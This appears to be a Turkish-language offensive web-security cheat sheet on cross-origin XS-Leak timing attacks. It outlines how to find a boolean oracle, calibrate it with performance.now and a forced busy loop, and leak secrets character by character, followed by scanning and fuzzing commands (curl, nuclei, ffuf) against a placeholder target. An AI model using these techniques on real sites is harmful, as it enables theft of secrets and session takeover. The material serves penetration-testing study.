performance.now + Force heavy task
web offensive
performance.now + Force heavy task web saldırı yüzeyidir. Giriş noktalarını izole edip kanıtlanabilir etki (okuma, yazma, RCE, auth bypass) üretmeye odaklan.
Metodoloji
Section titled “Metodoloji”-
Çapraz origin boolean oracle adayını bul.
-
Timing/error/CSS/connection kanalını kalibre et.
-
Karakter karakter sızıntıyı otomatize et.
-
Sızan secret ile oturum etkisini bağla.
XS-Leak fikri
Section titled “XS-Leak fikri”Çapraz origin’de doğrudan DOM okunamaz; yan kanal ile boolean sızıntı aranır.
const t0 = performance.now(); await frame.load(url); const dt = performance.now()-t0;<link rel=prerender href='https://TARGET/search?q=secret'>performance.now
Section titled “performance.now”performance.now()for (let i=0;i<1e8;i++); // force heavy taskağır yanıt / hata yolu süre farkı → karakter tahminiOracle döngüsü
Section titled “Oracle döngüsü”async function oracle(q){ /* timing/error/frame */ return bool }for (const c of charset) if (await oracle(prefix+c)) prefix+=cpython3 xsleak.py --target https://TARGET/search --param qOperasyon notları
Section titled “Operasyon notları”performance.now + Force heavy task sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.
Ek komutlar
Section titled “Ek komutlar”curl -sk https://TARGET/robots.txtnuclei -u https://TARGET -as -silentffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403GET / HTTP/1.1Host: TARGETAccept: */*mkdir -p evidence/web && tee evidence/web/notes.txtBu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.
Ek keşif komutları
Section titled “Ek keşif komutları”curl -sk https://TARGET/robots.txtcurl -sk https://TARGET/sitemap.xmlffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403nuclei -u https://TARGET -as -silentGET / HTTP/1.1Host: TARGETAccept: */*Kanıt toplama
Section titled “Kanıt toplama”mkdir -p evidence/web && tee evidence/web/notes.txtrequest/responsezaman damgasıkullanılan hesapetki özeticurl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html